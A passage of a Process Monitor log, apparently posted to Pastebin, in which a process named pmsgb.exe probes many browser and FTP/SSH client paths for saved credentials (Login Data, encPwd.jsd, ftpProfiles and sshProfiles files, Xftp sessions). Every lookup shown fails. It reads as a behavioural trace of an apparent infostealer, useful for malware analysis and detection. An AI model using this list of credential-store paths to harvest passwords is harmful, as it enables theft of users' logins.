  187. 2:53:41.6696861 PM pmsgb.exe 1804 CreateFile C:\Users\Win732\AppData\Roaming\Fenrir Inc\Sleipnir\setting\modules\ChromiumViewer\User Data\Default\Web Data PATH NOT FOUND Desired Access: Read Attributes, Disposition: Open, Options: Open Reparse Point, Attributes: n/a, ShareMode: Read, Write, Delete, AllocationSize: n/a 4656
  188. 2:53:41.6711895 PM pmsgb.exe 1804 CreateFile C:\Users\Win732\AppData\Roaming\Fenrir Inc\Sleipnir\setting\modules\ChromiumViewer\Login Data PATH NOT FOUND Desired Access: Read Attributes, Disposition: Open, Options: Open Reparse Point, Attributes: n/a, ShareMode: Read, Write, Delete, AllocationSize: n/a 4656
  189. 2:53:41.6727820 PM pmsgb.exe 1804 CreateFile C:\Users\Win732\AppData\Roaming\Fenrir Inc\Sleipnir\setting\modules\ChromiumViewer\Default\Login Data PATH NOT FOUND Desired Access: Read Attributes, Disposition: Open, Options: Open Reparse Point, Attributes: n/a, ShareMode: Read, Write, Delete, AllocationSize: n/a 4656
  190. 2:53:41.6742353 PM pmsgb.exe 1804 CreateFile C:\Users\Win732\AppData\Roaming\Fenrir Inc\Sleipnir5\setting\modules\ChromiumViewer\User Data\Default\Login Data PATH NOT FOUND Desired Access: Read Attributes, Disposition: Open, Options: Open Reparse Point, Attributes: n/a, ShareMode: Read, Write, Delete, AllocationSize: n/a 4656
  191. 2:53:41.6759037 PM pmsgb.exe 1804 CreateFile C:\Users\Win732\AppData\Roaming\Fenrir Inc\Sleipnir5\setting\modules\ChromiumViewer\User Data\Default\Web Data PATH NOT FOUND Desired Access: Read Attributes, Disposition: Open, Options: Open Reparse Point, Attributes: n/a, ShareMode: Read, Write, Delete, AllocationSize: n/a 4656
  192. 2:53:41.6773091 PM pmsgb.exe 1804 CreateFile C:\Users\Win732\AppData\Roaming\Fenrir Inc\Sleipnir5\setting\modules\ChromiumViewer\Login Data PATH NOT FOUND Desired Access: Read Attributes, Disposition: Open, Options: Open Reparse Point, Attributes: n/a, ShareMode: Read, Write, Delete, AllocationSize: n/a 4656
  193. 2:53:41.6787229 PM pmsgb.exe 1804 CreateFile C:\Users\Win732\AppData\Roaming\Fenrir Inc\Sleipnir5\setting\modules\ChromiumViewer\Default\Login Data PATH NOT FOUND Desired Access: Read Attributes, Disposition: Open, Options: Open Reparse Point, Attributes: n/a, ShareMode: Read, Write, Delete, AllocationSize: n/a 4656
  194. 2:53:41.6796099 PM pmsgb.exe 1804 RegOpenKey HKCU\Software\QtWeb.NET\QtWeb Internet Browser\AutoComplete NAME NOT FOUND Desired Access: Maximum Allowed 4656
  195. 2:53:41.6816353 PM pmsgb.exe 1804 CreateFile C:\Users\Win732\AppData\Local\QupZilla\profiles\default\browsedata.db PATH NOT FOUND Desired Access: Read Attributes, Disposition: Open, Options: Open Reparse Point, Attributes: n/a, ShareMode: Read, Write, Delete, AllocationSize: n/a 4656
  196. 2:53:41.6977968 PM pmsgb.exe 1804 CreateFile C:\Users\Win732\Documents\SuperPutty NAME NOT FOUND Desired Access: Read Attributes, Disposition: Open, Options: Open Reparse Point, Attributes: n/a, ShareMode: Read, Write, Delete, AllocationSize: n/a 4656
  197. 2:53:41.7000220 PM pmsgb.exe 1804 CreateFile C:\Program Files\FTPShell\ftpshell.fsi PATH NOT FOUND Desired Access: Read Attributes, Disposition: Open, Options: Open Reparse Point, Attributes: n/a, ShareMode: Read, Write, Delete, AllocationSize: n/a 4656
  198. 2:53:41.7014877 PM pmsgb.exe 1804 CreateFile C:\Users\Win732\AppData\Roaming\Notepad++\plugins\config\NppFTP\NppFTP.xml PATH NOT FOUND Desired Access: Read Attributes, Disposition: Open, Options: Open Reparse Point, Attributes: n/a, ShareMode: Read, Write, Delete, AllocationSize: n/a 4656
  199. 2:53:41.7034667 PM pmsgb.exe 1804 CreateFile C:\Program Files\oZone3D\MyFTP\myftp.ini PATH NOT FOUND Desired Access: Read Attributes, Disposition: Open, Options: Open Reparse Point, Attributes: n/a, ShareMode: Read, Write, Delete, AllocationSize: n/a 4656
  200. 2:53:41.7049252 PM pmsgb.exe 1804 CreateFile C:\Users\Win732\AppData\Roaming\FTPBox\profiles.conf PATH NOT FOUND Desired Access: Read Attributes, Disposition: Open, Options: Open Reparse Point, Attributes: n/a, ShareMode: Read, Write, Delete, AllocationSize: n/a 4656
  201. 2:53:41.7069598 PM pmsgb.exe 1804 CreateFile C:\Program Files\Sherrod Computers\sherrod FTP\favorites PATH NOT FOUND Desired Access: Read Attributes, Disposition: Open, Options: Open Reparse Point, Attributes: n/a, ShareMode: Read, Write, Delete, AllocationSize: n/a 4656
  202. 2:53:41.7091196 PM pmsgb.exe 1804 CreateFile C:\Program Files\FTP Now\sites.xml PATH NOT FOUND Desired Access: Read Attributes, Disposition: Open, Options: Open Reparse Point, Attributes: n/a, ShareMode: Read, Write, Delete, AllocationSize: n/a 4656
  203. 2:53:41.7112971 PM pmsgb.exe 1804 CreateFile C:\Program Files\NexusFile\userdata\ftpsite.ini PATH NOT FOUND Desired Access: Read Attributes, Disposition: Open, Options: Open Reparse Point, Attributes: n/a, ShareMode: Read, Write, Delete, AllocationSize: n/a 4656
  204. 2:53:41.7128909 PM pmsgb.exe 1804 CreateFile C:\Users\Win732\AppData\Roaming\NexusFile\ftpsite.ini PATH NOT FOUND Desired Access: Read Attributes, Disposition: Open, Options: Open Reparse Point, Attributes: n/a, ShareMode: Read, Write, Delete, AllocationSize: n/a 4656
  205. 2:53:41.7150297 PM pmsgb.exe 1804 CreateFile C:\Users\Win732\Documents\NetSarang\Xftp\Sessions PATH NOT FOUND Desired Access: Read Attributes, Disposition: Open, Options: Open Reparse Point, Attributes: n/a, ShareMode: Read, Write, Delete, AllocationSize: n/a 4656
  206. 2:53:41.7171605 PM pmsgb.exe 1804 CreateFile C:\Users\Win732\AppData\Roaming\NetSarang\Xftp\Sessions PATH NOT FOUND Desired Access: Read Attributes, Disposition: Open, Options: Open Reparse Point, Attributes: n/a, ShareMode: Read, Write, Delete, AllocationSize: n/a 4656
  207. 2:53:41.7192660 PM pmsgb.exe 1804 CreateFile C:\Program Files\EasyFTP\data PATH NOT FOUND Desired Access: Read Attributes, Disposition: Open, Options: Open Reparse Point, Attributes: n/a, ShareMode: Read, Write, Delete, AllocationSize: n/a 4656
  208. 2:53:41.7214921 PM pmsgb.exe 1804 CreateFile C:\Users\Win732\AppData\Roaming\SftpNetDrive NAME NOT FOUND Desired Access: Read Attributes, Disposition: Open, Options: Open Reparse Point, Attributes: n/a, ShareMode: Read, Write, Delete, AllocationSize: n/a 4656
  209. 2:53:41.7230057 PM pmsgb.exe 1804 CreateFile C:\Program Files\AbleFTP7\encPwd.jsd PATH NOT FOUND Desired Access: Read Attributes, Disposition: Open, Options: Open Reparse Point, Attributes: n/a, ShareMode: Read, Write, Delete, AllocationSize: n/a 4656
  210. 2:53:41.7245617 PM pmsgb.exe 1804 CreateFile C:\Program Files\AbleFTP7\data\settings\sshProfiles-j.jsd PATH NOT FOUND Desired Access: Read Attributes, Disposition: Open, Options: Open Reparse Point, Attributes: n/a, ShareMode: Read, Write, Delete, AllocationSize: n/a 4656
  211. 2:53:41.7260630 PM pmsgb.exe 1804 CreateFile C:\Program Files\AbleFTP7\data\settings\ftpProfiles-j.jsd PATH NOT FOUND Desired Access: Read Attributes, Disposition: Open, Options: Open Reparse Point, Attributes: n/a, ShareMode: Read, Write, Delete, AllocationSize: n/a 4656
  212. 2:53:41.7276136 PM pmsgb.exe 1804 CreateFile C:\Program Files\AbleFTP8\encPwd.jsd PATH NOT FOUND Desired Access: Read Attributes, Disposition: Open, Options: Open Reparse Point, Attributes: n/a, ShareMode: Read, Write, Delete, AllocationSize: n/a 4656
  213. 2:53:41.7291768 PM pmsgb.exe 1804 CreateFile C:\Program Files\AbleFTP8\data\settings\sshProfiles-j.jsd PATH NOT FOUND Desired Access: Read Attributes, Disposition: Open, Options: Open Reparse Point, Attributes: n/a, ShareMode: Read, Write, Delete, AllocationSize: n/a 4656
  214. 2:53:41.7318865 PM pmsgb.exe 1804 CreateFile C:\Program Files\AbleFTP8\data\settings\ftpProfiles-j.jsd PATH NOT FOUND Desired Access: Read Attributes, Disposition: Open, Options: Open Reparse Point, Attributes: n/a, ShareMode: Read, Write, Delete, AllocationSize: n/a 4656
  215. 2:53:41.7334315 PM pmsgb.exe 1804 CreateFile C:\Program Files\AbleFTP9\encPwd.jsd PATH NOT FOUND Desired Access: Read Attributes, Disposition: Open, Options: Open Reparse Point, Attributes: n/a, ShareMode: Read, Write, Delete, AllocationSize: n/a 4656
  216. 2:53:41.7350068 PM pmsgb.exe 1804 CreateFile C:\Program Files\AbleFTP9\data\settings\sshProfiles-j.jsd PATH NOT FOUND Desired Access: Read Attributes, Disposition: Open, Options: Open Reparse Point, Attributes: n/a, ShareMode: Read, Write, Delete, AllocationSize: n/a 4656
  217. 2:53:41.7365078 PM pmsgb.exe 1804 CreateFile C:\Program Files\AbleFTP9\data\settings\ftpProfiles-j.jsd PATH NOT FOUND Desired Access: Read Attributes, Disposition: Open, Options: Open Reparse Point, Attributes: n/a, ShareMode: Read, Write, Delete, AllocationSize: n/a 4656
  218. 2:53:41.7380208 PM pmsgb.exe 1804 CreateFile C:\Program Files\AbleFTP10\encPwd.jsd PATH NOT FOUND Desired Access: Read Attributes, Disposition: Open, Options: Open Reparse Point, Attributes: n/a, ShareMode: Read, Write, Delete, AllocationSize: n/a 4656
  219. 2:53:41.7396275 PM pmsgb.exe 1804 CreateFile C:\Program Files\AbleFTP10\data\settings\sshProfiles-j.jsd PATH NOT FOUND Desired Access: Read Attributes, Disposition: Open, Options: Open Reparse Point, Attributes: n/a, ShareMode: Read, Write, Delete, AllocationSize: n/a 4656
  220. 2:53:41.7411253 PM pmsgb.exe 1804 CreateFile C:\Program Files\AbleFTP10\data\settings\ftpProfiles-j.jsd PATH NOT FOUND Desired Access: Read Attributes, Disposition: Open, Options: Open Reparse Point, Attributes: n/a, ShareMode: Read, Write, Delete, AllocationSize: n/a 4656
  221. 2:53:41.7426246 PM pmsgb.exe 1804 CreateFile C:\Program Files\AbleFTP11\encPwd.jsd PATH NOT FOUND Desired Access: Read Attributes, Disposition: Open, Options: Open Reparse Point, Attributes: n/a, ShareMode: Read, Write, Delete, AllocationSize: n/a 4656
  222. 2:53:41.7441622 PM pmsgb.exe 1804 CreateFile C:\Program Files\AbleFTP11\data\settings\sshProfiles-j.jsd PATH NOT FOUND Desired Access: Read Attributes, Disposition: Open, Options: Open Reparse Point, Attributes: n/a, ShareMode: Read, Write, Delete, AllocationSize: n/a 4656
  223. 2:53:41.7456778 PM pmsgb.exe 1804 CreateFile C:\Program Files\AbleFTP11\data\settings\ftpProfiles-j.jsd PATH NOT FOUND Desired Access: Read Attributes, Disposition: Open, Options: Open Reparse Point, Attributes: n/a, ShareMode: Read, Write, Delete, AllocationSize: n/a 4656
  224. 2:53:41.7471725 PM pmsgb.exe 1804 CreateFile C:\Program Files\AbleFTP12\encPwd.jsd PATH NOT FOUND Desired Access: Read Attributes, Disposition: Open, Options: Open Reparse Point, Attributes: n/a, ShareMode: Read, Write, Delete, AllocationSize: n/a 4656
  225. 2:53:41.7488122 PM pmsgb.exe 1804 CreateFile C:\Program Files\AbleFTP12\data\settings\sshProfiles-j.jsd PATH NOT FOUND Desired Access: Read Attributes, Disposition: Open, Options: Open Reparse Point, Attributes: n/a, ShareMode: Read, Write, Delete, AllocationSize: n/a 4656
  226. 2:53:41.7503284 PM pmsgb.exe 1804 CreateFile C:\Program Files\AbleFTP12\data\settings\ftpProfiles-j.jsd PATH NOT FOUND Desired Access: Read Attributes, Disposition: Open, Options: Open Reparse Point, Attributes: n/a, ShareMode: Read, Write, Delete, AllocationSize: n/a 4656
  227. 2:53:41.7518449 PM pmsgb.exe 1804 CreateFile C:\Program Files\AbleFTP13\encPwd.jsd PATH NOT FOUND Desired Access: Read Attributes, Disposition: Open, Options: Open Reparse Point, Attributes: n/a, ShareMode: Read, Write, Delete, AllocationSize: n/a 4656
  228. 2:53:41.7534223 PM pmsgb.exe 1804 CreateFile C:\Program Files\AbleFTP13\data\settings\sshProfiles-j.jsd PATH NOT FOUND Desired Access: Read Attributes, Disposition: Open, Options: Open Reparse Point, Attributes: n/a, ShareMode: Read, Write, Delete, AllocationSize: n/a 4656
  229. 2:53:41.7549347 PM pmsgb.exe 1804 CreateFile C:\Program Files\AbleFTP13\data\settings\ftpProfiles-j.jsd PATH NOT FOUND Desired Access: Read Attributes, Disposition: Open, Options: Open Reparse Point, Attributes: n/a, ShareMode: Read, Write, Delete, AllocationSize: n/a 4656
  230. 2:53:41.7564256 PM pmsgb.exe 1804 CreateFile C:\Program Files\AbleFTP14\encPwd.jsd PATH NOT FOUND Desired Access: Read Attributes, Disposition: Open, Options: Open Reparse Point, Attributes: n/a, ShareMode: Read, Write, Delete, AllocationSize: n/a 4656
  231. 2:53:41.7579883 PM pmsgb.exe 1804 CreateFile C:\Program Files\AbleFTP14\data\settings\sshProfiles-j.jsd PATH NOT FOUND Desired Access: Read Attributes, Disposition: Open, Options: Open Reparse Point, Attributes: n/a, ShareMode: Read, Write, Delete, AllocationSize: n/a 4656
  232. 2:53:41.7595058 PM pmsgb.exe 1804 CreateFile C:\Program Files\AbleFTP14\data\settings\ftpProfiles-j.jsd PATH NOT FOUND Desired Access: Read Attributes, Disposition: Open, Options: Open Reparse Point, Attributes: n/a, ShareMode: Read, Write, Delete, AllocationSize: n/a 4656
  233. 2:53:41.7610594 PM pmsgb.exe 1804 CreateFile C:\Program Files\JaSFtp7\encPwd.jsd PATH NOT FOUND Desired Access: Read Attributes, Disposition: Open, Options: Open Reparse Point, Attributes: n/a, ShareMode: Read, Write, Delete, AllocationSize: n/a 4656
  234. 2:53:41.7626726 PM pmsgb.exe 1804 CreateFile C:\Program Files\JaSFtp7\data\settings\sshProfiles-j.jsd PATH NOT FOUND Desired Access: Read Attributes, Disposition: Open, Options: Open Reparse Point, Attributes: n/a, ShareMode: Read, Write, Delete, AllocationSize: n/a 4656
  235. 2:53:41.7641891 PM pmsgb.exe 1804 CreateFile C:\Program Files\JaSFtp7\data\settings\ftpProfiles-j.jsd PATH NOT FOUND Desired Access: Read Attributes, Disposition: Open, Options: Open Reparse Point, Attributes: n/a, ShareMode: Read, Write, Delete, AllocationSize: n/a 4656
  236. 2:53:41.7659674 PM pmsgb.exe 1804 CreateFile C:\Program Files\JaSFtp8\encPwd.jsd PATH NOT FOUND Desired Access: Read Attributes, Disposition: Open, Options: Open Reparse Point, Attributes: n/a, ShareMode: Read, Write, Delete, AllocationSize: n/a 4656
  237. 2:53:41.7676464 PM pmsgb.exe 1804 CreateFile C:\Program Files\JaSFtp8\data\settings\sshProfiles-j.jsd PATH NOT FOUND Desired Access: Read Attributes, Disposition: Open, Options: Open Reparse Point, Attributes: n/a, ShareMode: Read, Write, Delete, AllocationSize: n/a 4656
  238. 2:53:41.7692103 PM pmsgb.exe 1804 CreateFile C:\Program Files\JaSFtp8\data\settings\ftpProfiles-j.jsd PATH NOT FOUND Desired Access: Read Attributes, Disposition: Open, Options: Open Reparse Point, Attributes: n/a, ShareMode: Read, Write, Delete, AllocationSize: n/a 4656
  239. 2:53:41.7707078 PM pmsgb.exe 1804 CreateFile C:\Program Files\JaSFtp9\encPwd.jsd PATH NOT FOUND Desired Access: Read Attributes, Disposition: Open, Options: Open Reparse Point, Attributes: n/a, ShareMode: Read, Write, Delete, AllocationSize: n/a 4656
  240. 2:53:41.7722836 PM pmsgb.exe 1804 CreateFile C:\Program Files\JaSFtp9\data\settings\sshProfiles-j.jsd PATH NOT FOUND Desired Access: Read Attributes, Disposition: Open, Options: Open Reparse Point, Attributes: n/a, ShareMode: Read, Write, Delete, AllocationSize: n/a 4656
  241. 2:53:41.7737801 PM pmsgb.exe 1804 CreateFile C:\Program Files\JaSFtp9\data\settings\ftpProfiles-j.jsd PATH NOT FOUND Desired Access: Read Attributes, Disposition: Open, Options: Open Reparse Point, Attributes: n/a, ShareMode: Read, Write, Delete, AllocationSize: n/a 4656
  242. 2:53:41.7752812 PM pmsgb.exe 1804 CreateFile C:\Program Files\JaSFtp10\encPwd.jsd PATH NOT FOUND Desired Access: Read Attributes, Disposition: Open, Options: Open Reparse Point, Attributes: n/a, ShareMode: Read, Write, Delete, AllocationSize: n/a 4656
  243. 2:53:41.7768594 PM pmsgb.exe 1804 CreateFile C:\Program Files\JaSFtp10\data\settings\sshProfiles-j.jsd PATH NOT FOUND Desired Access: Read Attributes, Disposition: Open, Options: Open Reparse Point, Attributes: n/a, ShareMode: Read, Write, Delete, AllocationSize: n/a 4656
  244. 2:53:41.7783886 PM pmsgb.exe 1804 CreateFile C:\Program Files\JaSFtp10\data\settings\ftpProfiles-j.jsd PATH NOT FOUND Desired Access: Read Attributes, Disposition: Open, Options: Open Reparse Point, Attributes: n/a, ShareMode: Read, Write, Delete, AllocationSize: n/a 4656
  245. 2:53:41.7798836 PM pmsgb.exe 1804 CreateFile C:\Program Files\JaSFtp11\encPwd.jsd PATH NOT FOUND Desired Access: Read Attributes, Disposition: Open, Options: Open Reparse Point, Attributes: n/a, ShareMode: Read, Write, Delete, AllocationSize: n/a 4656
  246. 2:53:41.7814529 PM pmsgb.exe 1804 CreateFile C:\Program Files\JaSFtp11\data\settings\sshProfiles-j.jsd PATH NOT FOUND Desired Access: Read Attributes, Disposition: Open, Options: Open Reparse Point, Attributes: n/a, ShareMode: Read, Write, Delete, AllocationSize: n/a 4656
  247. 2:53:41.7832853 PM pmsgb.exe 1804 CreateFile C:\Program Files\JaSFtp11\data\settings\ftpProfiles-j.jsd PATH NOT FOUND Desired Access: Read Attributes, Disposition: Open, Options: Open Reparse Point, Attributes: n/a, ShareMode: Read, Write, Delete, AllocationSize: n/a 4656
  248. 2:53:41.7847844 PM pmsgb.exe 1804 CreateFile C:\Program Files\JaSFtp12\encPwd.jsd PATH NOT FOUND Desired Access: Read Attributes, Disposition: Open, Options: Open Reparse Point, Attributes: n/a, ShareMode: Read, Write, Delete, AllocationSize: n/a 4656
  249. 2:53:41.7863231 PM pmsgb.exe 1804 CreateFile C:\Program Files\JaSFtp12\data\settings\sshProfiles-j.jsd PATH NOT FOUND Desired Access: Read Attributes, Disposition: Open, Options: Open Reparse Point, Attributes: n/a, ShareMode: Read, Write, Delete, AllocationSize: n/a 4656
  250. 2:53:41.7878240 PM pmsgb.exe 1804 CreateFile C:\Program Files\JaSFtp12\data\settings\ftpProfiles-j.jsd PATH NOT FOUND Desired Access: Read Attributes, Disposition: Open, Options: Open Reparse Point, Attributes: n/a, ShareMode: Read, Write, Delete, AllocationSize: n/a 4656
  251. 2:53:41.7893144 PM pmsgb.exe 1804 CreateFile C:\Program Files\JaSFtp13\encPwd.jsd PATH NOT FOUND Desired Access: Read Attributes, Disposition: Open, Options: Open Reparse Point, Attributes: n/a, ShareMode: Read, Write, Delete, AllocationSize: n/a 4656
  252. 2:53:41.7908613 PM pmsgb.exe 1804 CreateFile C:\Program Files\JaSFtp13\data\settings\sshProfiles-j.jsd PATH NOT FOUND Desired Access: Read Attributes, Disposition: Open, Options: Open Reparse Point, Attributes: n/a, ShareMode: Read, Write, Delete, AllocationSize: n/a 4656
  253. 2:53:41.7923771 PM pmsgb.exe 1804 CreateFile C:\Program Files\JaSFtp13\data\settings\ftpProfiles-j.jsd PATH NOT FOUND Desired Access: Read Attributes, Disposition: Open, Options: Open Reparse Point, Attributes: n/a, ShareMode: Read, Write, Delete, AllocationSize: n/a 4656
  254. 2:53:41.7939206 PM pmsgb.exe 1804 CreateFile C:\Program Files\JaSFtp14\encPwd.jsd PATH NOT FOUND Desired Access: Read Attributes, Disposition: Open, Options: Open Reparse Point, Attributes: n/a, ShareMode: Read, Write, Delete, AllocationSize: n/a 4656
  255. 2:53:41.7955120 PM pmsgb.exe 1804 CreateFile C:\Program Files\JaSFtp14\data\settings\sshProfiles-j.jsd PATH NOT FOUND Desired Access: Read Attributes, Disposition: Open, Options: Open Reparse Point, Attributes: n/a, ShareMode: Read, Write, Delete, AllocationSize: n/a 4656
  256. 2:53:41.7970233 PM pmsgb.exe 1804 CreateFile C:\Program Files\JaSFtp14\data\settings\ftpProfiles-j.jsd PATH NOT FOUND Desired Access: Read Attributes, Disposition: Open, Options: Open Reparse Point, Attributes: n/a, ShareMode: Read, Write, Delete, AllocationSize: n/a 4656
  257. 2:53:41.7988418 PM pmsgb.exe 1804 CreateFile C:\Program Files\Automize7\encPwd.jsd PATH NOT FOUND Desired Access: Read Attributes, Disposition: Open, Options: Open Reparse Point, Attributes: n/a, ShareMode: Read, Write, Delete, AllocationSize: n/a 4656
  258. 2:53:41.8003969 PM pmsgb.exe 1804 CreateFile C:\Program Files\Automize7\data\settings\sshProfiles-j.jsd PATH NOT FOUND Desired Access: Read Attributes, Disposition: Open, Options: Open Reparse Point, Attributes: n/a, ShareMode: Read, Write, Delete, AllocationSize: n/a 4656
  259. 2:53:41.8019565 PM pmsgb.exe 1804 CreateFile C:\Program Files\Automize7\data\settings\ftpProfiles-j.jsd PATH NOT FOUND Desired Access: Read Attributes, Disposition: Open, Options: Open Reparse Point, Attributes: n/a, ShareMode: Read, Write, Delete, AllocationSize: n/a 4656
  260. 2:53:41.8034516 PM pmsgb.exe 1804 CreateFile C:\Program Files\Automize8\encPwd.jsd PATH NOT FOUND Desired Access: Read Attributes, Disposition: Open, Options: Open Reparse Point, Attributes: n/a, ShareMode: Read, Write, Delete, AllocationSize: n/a 4656
  261. 2:53:41.8050151 PM pmsgb.exe 1804 CreateFile C:\Program Files\Automize8\data\settings\sshProfiles-j.jsd PATH NOT FOUND Desired Access: Read Attributes, Disposition: Open, Options: Open Reparse Point, Attributes: n/a, ShareMode: Read, Write, Delete, AllocationSize: n/a 4656
  262. 2:53:41.8065112 PM pmsgb.exe 1804 CreateFile C:\Program Files\Automize8\data\settings\ftpProfiles-j.jsd PATH NOT FOUND Desired Access: Read Attributes, Disposition: Open, Options: Open Reparse Point, Attributes: n/a, ShareMode: Read, Write, Delete, AllocationSize: n/a 4656
  263. 2:53:41.8080108 PM pmsgb.exe 1804 CreateFile C:\Program Files\Automize9\encPwd.jsd PATH NOT FOUND Desired Access: Read Attributes, Disposition: Open, Options: Open Reparse Point, Attributes: n/a, ShareMode: Read, Write, Delete, AllocationSize: n/a 4656
  264. 2:53:41.8095645 PM pmsgb.exe 1804 CreateFile C:\Program Files\Automize9\data\settings\sshProfiles-j.jsd PATH NOT FOUND Desired Access: Read Attributes, Disposition: Open, Options: Open Reparse Point, Attributes: n/a, ShareMode: Read, Write, Delete, AllocationSize: n/a 4656
  265. 2:53:41.8110700 PM pmsgb.exe 1804 CreateFile C:\Program Files\Automize9\data\settings\ftpProfiles-j.jsd PATH NOT FOUND Desired Access: Read Attributes, Disposition: Open, Options: Open Reparse Point, Attributes: n/a, ShareMode: Read, Write, Delete, AllocationSize: n/a 4656
  266. 2:53:41.8125892 PM pmsgb.exe 1804 CreateFile C:\Program Files\Automize10\encPwd.jsd PATH NOT FOUND Desired Access: Read Attributes, Disposition: Open, Options: Open Reparse Point, Attributes: n/a, ShareMode: Read, Write, Delete, AllocationSize: n/a 4656
  267. 2:53:41.8141322 PM pmsgb.exe 1804 CreateFile C:\Program Files\Automize10\data\settings\sshProfiles-j.jsd PATH NOT FOUND Desired Access: Read Attributes, Disposition: Open, Options: Open Reparse Point, Attributes: n/a, ShareMode: Read, Write, Delete, AllocationSize: n/a 4656
  268. 2:53:41.8161369 PM pmsgb.exe 1804 CreateFile C:\Program Files\Automize10\data\settings\ftpProfiles-j.jsd PATH NOT FOUND Desired Access: Read Attributes, Disposition: Open, Options: Open Reparse Point, Attributes: n/a, ShareMode: Read, Write, Delete, AllocationSize: n/a 4656
  269. 2:53:41.8176439 PM pmsgb.exe 1804 CreateFile C:\Program Files\Automize11\encPwd.jsd PATH NOT FOUND Desired Access: Read Attributes, Disposition: Open, Options: Open Reparse Point, Attributes: n/a, ShareMode: Read, Write, Delete, AllocationSize: n/a 4656
  270. 2:53:41.8191884 PM pmsgb.exe 1804 CreateFile C:\Program Files\Automize11\data\settings\sshProfiles-j.jsd PATH NOT FOUND Desired Access: Read Attributes, Disposition: Open, Options: Open Reparse Point, Attributes: n/a, ShareMode: Read, Write, Delete, AllocationSize: n/a 4656
  271. 2:53:41.8206893 PM pmsgb.exe 1804 CreateFile C:\Program Files\Automize11\data\settings\ftpProfiles-j.jsd PATH NOT FOUND Desired Access: Read Attributes, Disposition: Open, Options: Open Reparse Point, Attributes: n/a, ShareMode: Read, Write, Delete, AllocationSize: n/a 4656
  272. 2:53:41.8222018 PM pmsgb.exe 1804 CreateFile C:\Program Files\Automize12\encPwd.jsd PATH NOT FOUND Desired Access: Read Attributes, Disposition: Open, Options: Open Reparse Point, Attributes: n/a, ShareMode: Read, Write, Delete, AllocationSize: n/a 4656
  273. 2:53:41.8237608 PM pmsgb.exe 1804 CreateFile C:\Program Files\Automize12\data\settings\sshProfiles-j.jsd PATH NOT FOUND Desired Access: Read Attributes, Disposition: Open, Options: Open Reparse Point, Attributes: n/a, ShareMode: Read, Write, Delete, AllocationSize: n/a 4656
  274. 2:53:41.8253120 PM pmsgb.exe 1804 CreateFile C:\Program Files\Automize12\data\settings\ftpProfiles-j.jsd PATH NOT FOUND Desired Access: Read Attributes, Disposition: Open, Options: Open Reparse Point, Attributes: n/a, ShareMode: Read, Write, Delete, AllocationSize: n/a 4656
  275. 2:53:41.8268071 PM pmsgb.exe 1804 CreateFile C:\Program Files\Automize13\encPwd.jsd PATH NOT FOUND Desired Access: Read Attributes, Disposition: Open, Options: Open Reparse Point, Attributes: n/a, ShareMode: Read, Write, Delete, AllocationSize: n/a 4656
  276. 2:53:41.8283528 PM pmsgb.exe 1804 CreateFile C:\Program Files\Automize13\data\settings\sshProfiles-j.jsd PATH NOT FOUND Desired Access: Read Attributes, Disposition: Open, Options: Open Reparse Point, Attributes: n/a, ShareMode: Read, Write, Delete, AllocationSize: n/a 4656
  277. 2:53:41.8298589 PM pmsgb.exe 1804 CreateFile C:\Program Files\Automize13\data\settings\ftpProfiles-j.jsd PATH NOT FOUND Desired Access: Read Attributes, Disposition: Open, Options: Open Reparse Point, Attributes: n/a, ShareMode: Read, Write, Delete, AllocationSize: n/a 4656
  278. 2:53:41.8313598 PM pmsgb.exe 1804 CreateFile C:\Program Files\Automize14\encPwd.jsd PATH NOT FOUND Desired Access: Read Attributes, Disposition: Open, Options: Open Reparse Point, Attributes: n/a, ShareMode: Read, Write, Delete, AllocationSize: n/a 4656
  279. 2:53:41.8329482 PM pmsgb.exe 1804 CreateFile C:\Program Files\Automize14\data\settings\sshProfiles-j.jsd PATH NOT FOUND Desired Access: Read Attributes, Disposition: Open, Options: Open Reparse Point, Attributes: n/a, ShareMode: Read, Write, Delete, AllocationSize: n/a 4656
  280. 2:53:41.8344555 PM pmsgb.exe 1804 CreateFile C:\Program Files\Automize14\data\settings\ftpProfiles-j.jsd PATH NOT FOUND Desired Access: Read Attributes, Disposition: Open, Options: Open Reparse Point, Attributes: n/a, ShareMode: Read, Write, Delete, AllocationSize: n/a 4656
  281. 2:53:41.8367301 PM pmsgb.exe 1804 CreateFile C:\Users\Win732\AppData\Roaming\Cyberduck NAME NOT FOUND Desired Access: Read Attributes, Disposition: Open, Options: Open Reparse Point, Attributes: n/a, ShareMode: Read, Write, Delete, AllocationSize: n/a 4656
  282. 2:53:41.8389286 PM pmsgb.exe 1804 CreateFile C:\Users\Win732\AppData\Roaming\iterate_GmbH NAME NOT FOUND Desired Access: Read Attributes, Disposition: Open, Options: Open Reparse Point, Attributes: n/a, ShareMode: Read, Write, Delete, AllocationSize: n/a 4656
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement
Public Pastes
Advertisement
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!